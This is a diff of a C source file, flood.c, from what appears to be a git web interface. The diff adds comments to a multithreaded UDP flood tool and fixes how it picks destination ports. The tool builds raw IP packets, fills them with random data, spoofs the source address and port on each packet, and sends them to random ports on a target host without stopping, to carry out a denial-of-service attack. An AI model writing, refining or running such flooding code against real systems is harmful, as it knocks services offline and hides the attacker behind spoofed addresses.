diff options
Diffstat (limited to 'source')
| -rw-r--r-- | source/flood.c | 36 |
1 files changed, 34 insertions, 2 deletions
diff --git a/source/flood.c b/source/flood.c index bdab75a..c3b6b9c 100644 --- a/source/flood.c +++ b/source/flood.c @@ -10,10 +10,12 @@ #include <time.h> #include <unistd.h> +/* config defines */ #define DEFAULT_DELAY 0 #define DEFAULT_PACKET_SIZE 1024 #define DEFAULT_THREADS 40 +/* function prototypes */ void* udpflood_thread(void*); void* kill_thread(void*); void handle_signal(int); @@ -28,6 +30,7 @@ struct udpflood_args { struct udpflood_args thread_args; +/* used for arg passes */ char *size_suffixes[] = { "B", "KB", "GB", "TB", "PB", "EB" }; int main(int argc, char *argv[]) { @@ -37,6 +40,7 @@ int main(int argc, char *argv[]) { size_t packet_size = DEFAULT_PACKET_SIZE; int threads = DEFAULT_THREADS; + /* parse args */ int flag; int flags = 1; while((flag = getopt(argc, argv, "d:s:t:")) != -1) { @@ -57,12 +61,14 @@ int main(int argc, char *argv[]) { flags++; } + /* make sure a target address was provided */ if(argc - flags < 1) { printf("%s: Missing Address!\n", argv[0]); print_usage(argv[0]); exit(EXIT_FAILURE); } + /* check if the target is an IP address, otherwise, attempt DNS name resolution */ char* address_string = argv[argc - 1]; struct in_addr address; status = inet_aton(address_string, &address); @@ -75,9 +81,12 @@ int main(int argc, char *argv[]) { } } + /* seed the random number generator */ srand(time(NULL)); + /* setup a signal handler for SIGINT so we can do a clean shutdown */ signal(SIGINT, handle_signal); + /* prepare parameters for the worker threads */ thread_args.address = address.s_addr; thread_args.packet_size = packet_size; thread_args.running = 1; @@ -101,18 +110,22 @@ int main(int argc, char *argv[]) { printf(" Packet Size: %zu%s\n", packet_size, size_suffixes[0]); } + /* record the start time (for reporting attack duration) */ time_t start_time = time(NULL); + /* now, we create the worker threads that will carry out the attack */ pthread_t tids[threads]; for(i = 0; i < threads; i++) { pthread_create(&tids[i], NULL, &udpflood_thread, &thread_args); } + /* run the attack for the specified time, if any */ time_t end_time = time(NULL) + delay; unsigned char infinite_delay = 0; if(delay <= 0) infinite_delay = 1; while(time(NULL) < end_time || infinite_delay && thread_args.running); + /* cleanup and kill the remaining threads */ printf("Ending attack...\n"); if(infinite_delay) printf("Attacked for %d seconds\n", (int) (time(NULL) - start_time)); pthread_t kill_tid; @@ -124,18 +137,22 @@ int main(int argc, char *argv[]) { exit(EXIT_SUCCESS); } +/* main worker thread */ void* udpflood_thread(void* args_ptr) { int i, status; struct udpflood_args* args = (struct udpflood_args*) args_ptr; + /* create a raw socket */ int sock_fd = socket(PF_INET, SOCK_RAW, IPPROTO_UDP); if(sock_fd < 0) return NULL; + /* tell the kernel we will be composing the IP header ourselves */ int val = 1; int* ptr = &val; status = setsockopt(sock_fd, IPPROTO_IP, IP_HDRINCL, ptr, sizeof(val)); if(status < 0) return NULL; + /* self-explanatory */ struct ip_header { unsigned char ihl; unsigned char tos; @@ -156,13 +173,18 @@ void* udpflood_thread(void* args_ptr) { unsigned short checksum; }; + /* allocate memory for packet buffer */ void* packet = malloc(sizeof(struct ip_header) + sizeof(struct udp_header) + args->packet_size); + /* clear the packet buffer */ memset(packet, 0, sizeof(struct ip_header) + sizeof(struct udp_header) + args->packet_size); + /* pointers to the headers within the buffer */ struct ip_header* ip = (struct ip_header*) packet; struct udp_header* udp = (struct udp_header*) (packet + sizeof(struct ip_header)); unsigned char* data = packet + sizeof(struct ip_header) + sizeof(struct udp_header); + /* fill the data portion of the packet with random bytes */ for(i = 0; i < args->packet_size; i++) data[i] = rand(); + /* populate the IP header */ ip->ihl = 5 | (4 << 4); ip->tos = 46 << 2; ip->len = sizeof(struct ip_header) + sizeof(struct udp_header) + args->packet_size; @@ -171,26 +193,35 @@ void* udpflood_thread(void* args_ptr) { ip->protocol = 17; ip->dest = args->address; + /* populate the UDP header */ udp->len = htons(sizeof(struct udp_header) + args->packet_size); + /* prepare a destination address (necessary for raw sockets) */ struct sockaddr_in addr; addr.sin_family = AF_INET; addr.sin_addr.s_addr = args->address; + /* main loop, continually send UDP packets to the target */ while(args->running) { + /* send to a random port on the target host */ unsigned short dest_port = rand(); + udp->dest_port = htons(dest_port); + addr.sin_port = htons(dest_port); + /* spoof the source address and port for each packet sent */ ip->source = htons(rand()); udp->source_port = htons(rand()); - udp->dest_port = htons(rand()); + /* zero the checksum field (the kernel will calculate the sum for us anyway) */ ip->checksum = 0; - addr.sin_port = htons(dest_port); + /* finally send the packet */ sendto(sock_fd, packet, ip->len, 0, (struct sockaddr*) &addr, sizeof(addr)); } + /* cleanup and return when the main thread signals shutdown */ free(packet); close(sock_fd); } +/* failsafe to ensure process termination */ void* kill_thread(void* args_ptr) { time_t end_time = time(NULL) + 5; while(time(NULL) < end_time); @@ -198,6 +229,7 @@ void* kill_thread(void* args_ptr) { exit(EXIT_SUCCESS); } +/* signal handler for SIGINT */ void handle_signal(int signal) { if(signal == SIGINT) { printf("\nCaught SIGINT\n"); |
